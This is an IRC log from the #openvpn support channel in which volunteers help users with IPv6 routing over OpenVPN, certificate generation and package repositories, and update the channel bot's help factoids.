10:54 <@krzee> its like running your vpn on udp/5000 instead of udp/1194
10:54 < pekster> That's not deprecated, just non-standard
10:54 <@krzee> its the old openvpn port before they got one assigned
10:54 < pekster> I know what it is
10:55 < pekster> Deprecated features are those that are technically supported but their use is discouraged by upstream. As a contributing developer to openvpn, I can assure you that the use of alternate ports is not discouraged ;)
10:55 <@krzee> wouldnt matter if i signed the cert with a completely ficticious x509 extension so long as it was checked for correctly
10:55 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
10:56 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 264 seconds]
10:56 < pekster> So, in conclusion, we need to have a way to reference sections in thte manpage
10:57 < pekster> Less bickering, more solution-solving
10:57 <@krzee> +1
10:57 < EugeneKay> I want a pony
10:57 < pekster> I'm just sick of ancient versions appearing all over the place. It's extra-bad when it happens here
10:57 <@krzee> except s/pony/beer/
10:57 < pekster> we're supposed to set an example of where to find reference material, not complicate it further
10:57 <@krzee> hey im all for anchors being added to the new manual and updating the links
10:58 < pekster> Myabe add a link to !man in the meantime?
10:58 < pekster> Or include the 2.3 link and say "look under section X"
10:58 <@krzee> or leave it in the meantime
10:58 <@krzee> the info given is current
10:58 < pekster> You know full well people end up keeping it open, then complain that "you haven't documented all these other features"
10:59 <@krzee> nah ive actually not heard that one
11:01 < pekster> EugeneKay: ./configure --with-pony
11:04 < jzaw> krzee, s/pony/moon-on-stick+b33r
11:05 < KrissO> t
11:13 < pekster> Can the wiki eat html files?
11:14 -!- pagios [~pagios@46.19.194.111] has quit [Quit: Leaving]
11:18 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
11:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:23 < pekster> Yup, fixed version inbound
11:27 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 256 seconds]
11:29 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:32 <@krzee> sweet!
11:33 < pekster> As soon as I rip out all the html refs anyway (I'm being naughty and using regex on the html)
11:33 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
11:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:33 <@krzee> only naughty to automate it, for quick and dirty hey why not!
11:34 < pekster> Right
11:35 < pekster> I'm not "parsing" html with regex. http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags
11:35 <@vpnHelper> Title: html - RegEx match open tags except XHTML self-contained tags - Stack Overflow (at stackoverflow.com)
11:35 -!- lattera [~shawn@2607:fc50:1:100::2] has joined #openvpn
11:35 < hg_5> hello, how to bridge 2 networks on tap interface, and specify that device on client side will receive ip from vlan 3 from host side ?
11:37 < lattera> so I'm trying to set up ipv6 support... using openvpn 2.3 on both the client and the server... server is on a VPS with a native /56 block... I've successfully given my clients an IPv6 address and have set the default route to be the server's ipv6 address... but they can't ping anything other than the server's ipv6 address
11:37 < lattera> so how do I get it so that they can have an ipv6 route to the public internet?
11:38 <@krzee> !redirect
11:38 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:38 <@vpnHelper> http://ircpimps.org/redirect.png
11:38 <@krzee> #3
11:38 <@krzee> try that lattera ^
11:38 < lattera> I'm using the route-ipv6 option
11:38 <@krzee> for the default route?
11:39 <@krzee> and do you have (v6?) ip forwarding enabled?
11:39 < lattera> no, right now, I'm manually adding the default route
11:39 < lattera> ya, ipv6 forwarding is enabled
11:39 <@krzee> i say v6? because i dont use ipv6 so i dunno if theres a seperate sysctl =]
11:39 < lattera> right, the relevant sysctl is set
11:40 < lattera> net.inet6.ip6.forwarding: 1
11:40 <@dazo> lattera: configure a /64 subnet (from the /56 range you've been given) for the VPN ... and then use the new ifconfig-pool-ipv6 and route-ipv6 features
11:40 < lattera> dazo: not server-ipv6?
11:40 <@dazo> and then enable the ipv6 forwarding
11:40 <@dazo> lattera: oh, sure, --server-ipv6 should work too ... that's just a macro in fact
11:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
11:40 < lattera> I'm doing what you said, but with server-ipv6
11:40 < lattera> I can pastebin the config if you'd like
11:41 < lattera> http://ix.io/5dt
11:41 <@dazo> lattera: the rest should normally be pure routing .... checked your IPv6 firewalls?
11:41 <@krzee> !configs
11:41 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:42 < pekster> !script
11:42 < lattera> dazo: firewalling is disabled at the moment
11:42 <@vpnHelper> "script" is http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAQ see SCRIPTING AND ENVIRONMENTAL VARIABLES in the manual for a list of places that scripts can hook into openvpn.
11:42 < pekster> !forget script
11:42 <@vpnHelper> Joo got it.
11:42 < pekster> !learn script as See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
11:42 <@vpnHelper> Joo got it.
11:42 <@dazo> lattera: you also need to add a default IPv6 route too
11:43 <@krzee> o/
11:43 <@krzee> thanks pekster
11:43 <@krzee> !factoids
11:43 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
11:43 < lattera> dazo: I'm setting that manually client-side
11:43 <@dazo> lattera: I'm using "push "route-ipv6 0::0/0 <VPN server's IPv6 address>"
11:43 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
11:43 <@dazo> okay, that should work
11:43 < pekster> Feel free to update any older referneces; that wiki page should be completely linkable now since `man2html` generated it
11:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:44 <@krzee> pekster, already searching =]
11:45 < lattera> dazo: agreed, it should, but it isn't, heh
11:45 <@dazo> lattera: maybe then try to use tcpdump on your VPN server ... first on the tun adapter ... and then on your public facing eth
11:45 <@dazo> try to ping ipv6.google.com ... or something similar
11:45 < lattera> ya, did a tcpdump, my VPS's default route is asking "who has [client's ipv6 addr]?"
11:46 -!- delinquentme [~asdfasdf@64-13-15-38.eug.clearwire-dns.net] has joined #openvpn
11:46 < lattera> openvpn isn't responding to that
11:46 <@dazo> openvpn shouldn't respond to that ... your server OS should
11:47 < lattera> so I'm kinda thinking I might need to use tap and bridge the physical NIC with the tap device?
11:47 <@dazo> that OS should know that already
11:47 <@krzee> !forget firewall *
11:47 <@vpnHelper> Joo got it.
11:47 <@krzee> !learn firewall as please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info
11:47 <@vpnHelper> Joo got it.
11:47 <@dazo> lattera: eeek ... don't walk that path ... that's going to make you have nightmares for the rest of your life .... bridging is never ever the solution to fix the real issue
11:48 <@krzee> !learn firewall as see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
11:48 < lattera> dazo: agreed
11:48 <@vpnHelper> Joo got it.
11:48 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
11:48 < lattera> dazo: so it seems like I might need to do some ipv6 NATing or something
11:49 <@krzee> !forget inline *
11:49 <@vpnHelper> Joo got it.
11:49 <@dazo> lattera: nope ... you have some general IPv6 config issues on your VPN server ... somehow ... but I don't have any clues right now, as my setups have "just worked"
11:49 <@krzee> !learn inline as Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV
11:49 <@vpnHelper> Joo got it.
11:49 < lattera> nah, no ipv6 config issues
11:49 <@krzee> !learn inline as https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
11:49 <@vpnHelper> Joo got it.
11:49 <@dazo> okay, then it works
11:50 < lattera> it's freebsd, where most OSs have based their ipv6 implementation from, heh
11:50 <@krzee> !forget iptables 2
11:50 <@krzee> !forget iptables 2
11:50 <@vpnHelper> Joo got it.
11:50 <@krzee> !forget iptables 2
11:50 <@vpnHelper> Joo got it.
11:50 <@vpnHelper> Joo got it.
11:51 <@dazo> lattera: there are a few freebsd guys on this channel, and I guess several of them have done IPv6 already ... so hopefully they'll pay attention
11:51 <@krzee> !learn iptables as please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info
11:51 <@vpnHelper> Joo got it.
11:51  * dazo is more a Linux guy
11:51 <@krzee> ecrist, cron2 are 2 of those guys ^
11:51 <@krzee> !learn iptables as you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables
11:51 < lattera> dazo: would it be possible for you paste a sanitized version of your config?
11:51 <@vpnHelper> Joo got it.
11:51 <@krzee> !learn iptables as These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
11:51 <@vpnHelper> Joo got it.
11:52 <@krzee> !forget linfw
11:52 <@vpnHelper> Joo got it.
11:53 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
11:54 -!- EugeneKay is now known as Eugene
11:54 <@krzee> bahahah
11:54 <@krzee> !ubuntu
11:54 <@vpnHelper> "ubuntu" is dont use network manager!
11:54 <@krzee> !suse
11:54 <@vpnHelper> "suse" is You EITHER! (see !ubuntu)
11:55 <@dazo> lattera: http://www.fpaste.org/OCP8/
11:55 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:55 <@krzee> !forget betaman
11:55 <@vpnHelper> Joo got it.
11:56 < lattera> dazo: hrmm, maybe I need the proto udp6 line
11:56 <@dazo> lattera: nah, that's just to allow OpenVPN connecting to my IPv6 address
11:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 264 seconds]
11:57 <@dazo> krzee: network manager has only had known issues on Ubuntu (due to some patching they do)
11:57 <@krzee> i never saw !suse until just now
11:57 <@dazo> suse should, afaik, be fine
11:57 <@krzee> found it funny
11:57 < lattera> gotcha
11:57 <@krzee> !dazo
11:57 <@vpnHelper> "dazo" is The project name krzee always forgets .... eurephia ... http://www.eurephia.net/
11:57 <@krzee> i can never remember that one! :D
11:57 < lattera> dazo: ya, my config's pretty much the same as yours
11:58 <@dazo> lattera: sysctrl net.ipv6.conf.all.forwarding  .... is that 1?
11:58 <@krzee> !dropje
11:58 <@vpnHelper> "dropje" is (#1) Always listen to dropje or (#2) well, dazo might not agree to the 'always' part always ... but .....
11:58 <@krzee> hahah
11:58 < lattera> dazo: net.inet6.ip6.forwarding is set to 1
11:59 < lattera> (that sysctl is the fbsd version of linux's net.ipv6.conf.all.forwarding)
11:59 -!- mode/#openvpn [+o Eugene] by ChanServ
12:00 <@dazo> lattera: then I'm guessing there's some ICMPv6 packets not getting through properly
12:00 <@dazo> (as IPv6 doesn't have ARP ... it does all that stuff via ICMP discovery packets)
12:00 < lattera> dazo: ya, openvpn isn't responding with an icmp6 neighbor advertisement to my VPS' upstream
12:00 <@krzee> !forget changelog
12:00 <@dazo> lattera: again ... openvpn should not respond to that .... it's the OS
12:00 <@vpnHelper> Joo got it.
12:01 <@krzee> !learn changelog as See http://openvpn.net/index.php/open-source/documentation/change-log.html for the openvpn change logs
12:01 <@vpnHelper> Joo got it.
12:01 <@krzee> !forget change-log
12:01 <@vpnHelper> Error: 3 factoids have that key.  Please specify which one to remove, or use * to designate all of them.
12:01 < delinquentme> If im connecting through a Clear wireless hub ... in an attempt to setup a VPN ... I'm probably going to need to configure that hub in some way right?
12:01 <@krzee> !forget change-log *
12:01 <@vpnHelper> Joo got it.
12:01 < lattera> dazo: well, right, but the neighbor solicitation isn't getting passed down to the client
12:01 < pekster> lattera: You have a routed setup? There's no NDP that happens in a routed configuration. You have a /56, right? That really ought not to be on-link
12:01 < pekster> NDP is for the local network only
12:02 <@dazo> pekster: correct .... he got a /64 subnet from his /56 range assigned for openvpn
12:02 < lattera> so my VPS is assigned a /56
12:03 < pekster> If the /56 is routed, there's no NDP. If it's bridged, you need to find a non-crappy provider
12:03 < lattera> and I'm trying to dish out a /64 subnet to my openvpn clients from that /56
12:03 <@dazo> ahh, good point, pekster!
12:03 < delinquentme> or can a normal internet connection out from my hub on port 80 ... get access to the server?
12:04 <@krzee> delinquentme, it'll just work
12:04 <@dazo> delinquentme: the "hub" ... that sounds like the 90's when 1Gbit networking was drop-dead cool bleeding edge stuff
12:04 <@krzee> i've used a vpn over a clear wifi hotspot
12:04 <@krzee> which is what i think you mean, right?
12:05 < delinquentme> krzee, yeah hahah
12:06 < delinquentme> dazo, i got my cellular phone dude.
12:06 < delinquentme> and it drained my cars battery =[
12:07 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Read error: Connection timed out]
12:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:13 < lattera> dazo: I got it... I had to use my HE tunnel to give me a separate /48, heh
12:13 < pekster> Your provider put the /56 on-link? If so, they need to be shot
12:13 <@dazo> hehe
12:13 < lattera> pekster: my provider doesn't even know about me using openvpn
12:14 < pekster> That's not the point
12:14 <@dazo> lattera: ahh, cool!  Well, then your setup is even more similar to mine :)  well, I have to use HE because my ISP doesn't provide me with an IPv6 address
12:14 < pekster> It's common to use a /64 even for "two" systems since SLAAC is a convenience factor, but putting a /56 on link is just dumb
12:15 < pekster> If you have a /56 from the provider it ought to be routed, not bridged. What are you going to do, assign 2^72 IPs on your single VM?
12:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:16 < pekster> But yea, not really openvpn's fault if the provider is clueless
12:16 < hg_5> hello, how to bridge 2 vlans?
12:16 <@dazo> hg_5: bridge the vlan interfaces
12:16 < hg_5> i have 2 routers with tomato, and need to bridge 2 vlans , also want to specify 1 port on second router
12:16 < hg_5> dazo how to do it?
12:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
12:18 <@dazo> hg_5: on tomato!?  I have no idea ... ask them
12:19 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:19 < hg_5> whats the difference between TLS authorization and static key?
12:21 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
12:21 < Moonlightning> Where are logs written to by default on OS X?
12:21 < Moonlightning> I can't seem to find a mention of openvpn anywhere in /var/log/system.log
12:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:23 < pekster> hg_5: Read the manpage introduction paragraphs under "Data Channel Encryption Options" and "TLS Mode Options" here: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#index
12:23 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
12:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:24 < lattera> hrmm, now to see how to get the rest of my network going over this ipv6 link
12:24 <@Eugene> Magic, mostly.
12:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:25 < pekster> lattera: You should route a /64 to the LAN behind the client if that's your goal. With IPv6, everything gets a globally reachable address
12:26 < pekster> iroutes work the same for openvpn with v6 as with v4; see --iroute-ipv6
12:28 < pekster> The client can then turn around and serve it to clients via radvd or whatever SLAAC daemon you're using
12:30 < lattera> pekster: ya, openvpn is dishing out a /64, and now I want this box that's connected to the VPN to dish out an /80 subnet
12:31 < pekster> Route across the link, don't try to use a /80 fromo the same /64 range
12:32 < pekster> Further, be aware that you give up SLAAC by using anything except a /64 on LANs, requiring you to run both an RA daemon and dhcpv6 as well (normally dhcpv6 is completely unnecessary in smaller LANs)
12:32 < lattera> right, this is all manual config, no SLAAC
12:32 < lattera> dev VMs
12:33 < lattera> hrmm, so if I can only give my openvpn client a /64, and I can't assign a VM an /80 within the /64 subnet, what should I do?
12:33 < pekster> Route a /80
12:33 < pekster> IP is about routing, not bridging
12:33 < pekster> IPv6 just forces people to do it properly
12:34 < lattera> right, I think I'm just having a hard time visualizing
12:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
12:35 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:35 -!- DrCode_ is now known as DrCode
12:37 < hg_5> is there generator of certificate keys?
12:38 <@Eugene> !easyrsa
12:38 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
12:38 <@Eugene> hg_5 ^
12:38 <@krzee> !pki
12:38 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
12:38 <@vpnHelper> signed specially as a server (see !servercert)
12:38 -!- deceptor [~dec@ip-95-222-187-203.unitymediagroup.de] has joined #openvpn
12:38 < pekster> lattera,
12:38 < hg_5> easy rsa is command line
12:38 < pekster> !clientlan
12:38 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:38 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
12:39 < pekster> The flowchart was designed for IPv4, but you should be able to figure out the v6 varients where appropriate. It's just a --route-ipv6 & --iroute-ipv6 on the server side, and the usual routing for your downstream LAN on the client side
12:40 < pekster> There's not even a need to push the route unless you want *other* VPN clients to reach that client's IPv6 LAN
12:40 < hg_5> is there an easier way to generate certificates than using easy-rsa?
12:40 < jzaw> hehe the clue is in he name ... EASY-rsa
12:41 < pekster> You can try XCA, but to be very blunt, if easy-rsa is "too complicated" openvpn is probably too complex for you too
12:41 < deceptor> I set up openvpn on an openwrt router
12:41 < MacGyver> hg_5: Yes. Buy them.
12:41 < pekster> !xca
12:41 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
12:41 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:41 < jzaw> not sure how much easier you need it hg_5
12:41 < deceptor> but now I'd like to enable tls-auth, witch doesn't work
12:41 < hg_5> easy-rsa is command line , i need to create certificates for 100 clients
12:41 < hg_5> easy-rsa is tooo long..
12:42 < MacGyver> hg_5: That's *EXACTLY* the situation in which you *want* command line scripts to do it for you.
12:42 < hg_5> so how to make it fast?
12:42 < jzaw> bash for loops ... cant be easier
12:43 < MacGyver> Fast? By running it on a decent system.
12:43 < hg_5> on win 7
12:46 < pekster> bash works great on Windows. Install cygwin, and productivity skyrockets
12:55 <@Eugene> So, what's the deal with the openvpn-provided yum/apt repos.
12:56 <@Eugene> Looks like they're build against a standard CentOS box
12:56 <@Eugene> s/build/built
12:57 < pekster> Someone set up a buildbot to spit them out, so there they sit
12:57 <@Eugene> Will they rape my cat?
12:58 < pekster> If it's built for your version, it should work fine (I ran it without issue on an ubuntu 12.04 test VM.) Depending on what you run, it might outright refuse to install (12.10, for instance, required me to build from source)
12:58 -!- delinquentme [~asdfasdf@64-13-15-38.eug.clearwire-dns.net] has quit [Quit: Leaving]
12:58 < pekster> I usually just build from source anyway since the default Linux builds don't include --enable-iproute2 (I try to avoid using the deprecated net-tools crap if I can help it, even if it's burried internally)
12:58 <@Eugene> I'm on SL6, which is usuallllly compatible with RHEL/CentOS6 stuff
12:58 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:59 < pekster> Why not just rpmbuild your own stuff from sources then? Should be easy enough to swipe the .spec file and mod it to suit your needs
12:59 <@Eugene> Because I'm too lazy to set up a yum repo
13:00 <@Eugene> As many different lil repos as I have to use, I realllly should.
13:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
13:00 -!- DrCode_ is now known as DrCode
13:02 < pekster> Score one point for source distros. I *am* my own repo ;)
13:02 <@Eugene> Gentoo? :v
13:03 < pekster> On my home servers, yea. I have a few cloud systems running CentOS or Debian-based stuff, but if I need more recent than downstream I just build it myself locally
13:03 < pekster> NetBSD/FreeBSD do the same thing, making upgrades as easy as dropping in a new version number
13:04 <@Eugene> Good news: it "just worked" on my server with a yum update
13:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
13:04 <@Eugene> Now to turn on the v6 options
13:05 < pekster> Yea, if you're at the same API level as the repo packages it'll all magically work
13:05 < pekster> Binary distros work well as long as 1) someone is building what you want and 2) they're targeting your API/ABI libs
13:06 < pekster> If not, make friends with the buildsystem or gcc ;)
13:07 <@ecrist> who was looking for BSD/IPv6 help?
13:08 < pekster> ecrist, that was/is lattera. The larger issue was unfamiliarity with IPv6 routing, which is hopefully more clarified now. Routing vs bridging, etc
13:08 < pekster> (well, routing vs the notion of on-link, specifically)
13:09 < lattera> pekster: still a bit confused, heh
13:09 < lattera> but it's cool, what I have now is a step up from before
13:09 < pekster> Well, ask another question. The flowchart should help guide you through what needs to happen
13:09 < lattera> I'll probably work again on it this weekend, but I gotta move on to getting some actual work done, heh
13:10 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:10 < lattera> it's just nice to know that I now have ipv6 enabled for all my clients that connect with openvpn
13:10 < pekster> Just remember that networks get routed. If you want a /80 downstream (behind your client) your upstream provider of the IPs (your HE tunnel termination point at your VPN server) needs to *route* it there. It's not "on-link" or part of the VPN range served to the VPN clients; that's just a virtual network for VPN clients alone
13:12 < pekster> Your /80 is the "LAN" in that flowchart. The /64 is your VPN network. The /48 is merely your available IP range to draw from
13:17 < lattera> I think one of the issues is that the packets aren't being delivered through tun0
13:17 < lattera> when I set the vpn server to route the /80 through tun0, I see the packets hit the wire on the server side, but the client never sees them
13:18 < pekster> How have you done that? Did you add the --route-ipv6 and --iroute-ipv6 (iroute needs to go in the client's ccd, or a --client-connect script)
13:18 < lattera> ah, lemme try that
13:18 < pekster> This is why I linked that flowchart to you; I suggest you read it carefully
13:19 < pekster> !clientlan
13:19 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
13:19 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
13:19 -!- iZenum [~quassel@ollienixon-1-pt.tunnel.tserv26.ber1.ipv6.he.net] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
13:19 -!- Zenum [~quassel@ollienixon-1-pt.tunnel.tserv26.ber1.ipv6.he.net] has joined #openvpn
13:19 -!- Zenum [~quassel@ollienixon-1-pt.tunnel.tserv26.ber1.ipv6.he.net] has quit [Changing host]
13:19 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
13:20 < lattera> so my vpn client is the router
13:21 < lattera> both vpn server and vpn client machines are acting as routers
13:22 < pekster> Yup
13:22 < lattera> right now, the vpn client is being pushed: push "route-ipv6 0::0/0 2001:470:8142::1"
13:23 < lattera> 2001:470:8142::1/64 is the IP of the vpn server
13:23 <@Eugene> !download
13:23 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
13:23 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
13:23 < lattera> 2001:470:8142::1006/64 is the IP of the vpn client
13:24 < lattera> I want the VPN client to start routing IPs to the VMs, where the VMs will IPs in 2001:470:8142:1:1::/80
13:24 < pekster> So start at the top of the flowchart; if you can ping the server IP from the client, proceed to the next box
13:25 < lattera> the vpn client can ping 2001:470:8142::1 just fine from its IP of 2001:470:8142::1006
13:25 < pekster> You need a local interface that owns 2001:470:8141:1:1::/80 then
13:25 < pekster> (on the client)
13:25 < lattera> so I give the physical nic of the client the IP 2001:470:8142:1:1::1/80
13:25 < pekster> The VPN routing component is handled via the flowchart. Your LAN routing is your own responsibility
13:25 < lattera> and I give the VM an IP of 2001:470:8142:1:1::2/80
13:26 < lattera> the VM can ping 2001:470:8142:1:1::1/80 just fine
13:26 < lattera> however, the VM cannot ping 2001:470:8142::1 (the VPN server's IP)
13:26 < pekster> Flowchart ;)
13:27 < pekster> Unless you've completed all those steps, you're very likely missing the outbound routing or the return-routing
13:27 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
13:27 -!- dazo is now known as dazo_afk
13:31 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
13:39 <@Eugene> Hrm. Trying to get v6 working on 2.3 with a Windows client.
13:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
13:46 <@Eugene> Aha, got it.
13:46 <@Eugene> Switched to tap devices
13:49 < lattera> hrmmm, so I gave the physical NIC on the vpn client box an IP of 2001:470:8142:1:1::1/80
13:50 < lattera> I added a route to that on the vpn server, to route all packets destined for 2001:470:8142:1:1::/80 to go through 2001:470:8142::1006 (remember, 2001:470:8142::1006 is the VPN IP of the vpn client)
13:51 < lattera> when I try to ping6 2001:470:8142:1:1::1 from the server, tcpdump on the server shows the packets leaving tun0
13:51 < lattera> but tcpdump on the vpn client doesn't show them as being received
13:52 < pekster> on the tun device on the client?
13:53 < pekster> And you have the --iroute-ipv6 in the client ccd file? You need to bounce your connection if you added the --client-config-dir directive (or if the client was connected when you added the --iroute-ipv6 to it)
13:53 < lattera> right, I'm running tcpdump against the tun device on the client
13:54 < lattera> iroute-ipv6 is only if I'm doing per-client configs
13:54 < pekster> Oh, I see, you're avoiding doing it in openvpn completely. That's not a great idea since it breaks if your client reconnects and picks up a new IP
13:54 < pekster> That's *exactly* what you're doing here
13:54 < lattera> right, I'm avoiding doing it in openvpn completely, it's just a PoC right now
13:54 < pekster> Your hacked route works for now, but it's not the way you should be doing this. If you want to use static routes like that, define static IPs to your VPN endpoints
13:54 < lattera> my hacked route _doesn't_ work
13:54 < lattera> that's the problem
13:55 < pekster> I'm guessing firewall on the client end
13:55 < lattera> these VMs aren't running openvpn
13:55 < lattera> there's no firewall
13:55 < lattera> there's only a single VPN client
13:55 < lattera> and that VPN client will be dishing out /80's from the /64
13:55 < lattera> to the VMs
13:55 < lattera> the VMs _can't_ run openvpn
13:55 < pekster> If you mean the /64 you're using on-link for tun0, you can't do that
13:56 < lattera> why not?
13:56 < pekster> Because that's called bridging, and it would put *everything* in the same /64
13:56 < pekster> Routing requires separate networks
13:56 < pekster> Non-overlapping network ranges
13:56 < jzaw> <lattera> the VMs _can't_ run openvpn  ..... why?
13:56 < lattera> right, I essentially want briding
13:57 < jzaw> thats exactly where im running the server
13:57 < pekster> If 2001:470:8142::/64 is your VPN network, your defined 2001:470:8142:1:1::/80 is a unique range
13:57 < lattera> jzaw: the VMs are really freebsd jails, they can't create tun devices
13:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:57  * jzaw nods
13:57 < pekster> That is fine. You *cannot* use 2001:470:8142::/80 for your VMs though, since that's owned by the VPN network and part of the /64 on that device
13:58 < lattera> pekster: so what would be your suggestion to get these VMs a public ipv6 addr?
13:58 < pekster> Why doesn't the ping arrive?
13:58 < lattera> no clue
13:58 < lattera> I would've thought it would, but tcpdump isn't showing it
13:58 < pekster> If it leaves tun0 on the server, presumably you see the encapsulated VPN packet leave on whatever UDP port you're using
13:59 < pekster> So follow the packet; make sure the outside packet arrives on your client. If not, fix that first
13:59 < pekster> If you can ping across the VPN it shouldn't just "get lost"
13:59 < lattera> but it does
14:00 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:01 < lattera> is there a 6in6 tunnel that I could use to dish out to these VMs? heh
14:02 < pekster> Oh, you need iroute though
14:03 < pekster> OpenVPN *needs* to know what *client* you're sending the data too (otherwise it'll get lost exactly as you describe)
14:03 < lattera> wouldn't iroute be for ccd configurations?
14:03 < pekster> So, that flowchart you've now ignored twice
14:03 < pekster> Yes
14:03 < lattera> I'm not using a per-client config
14:03 < pekster> You need it
14:03 < pekster> You have a client that has ar oute
14:03 < pekster> Thus you're using a "per-client config" that's called `mode server`.
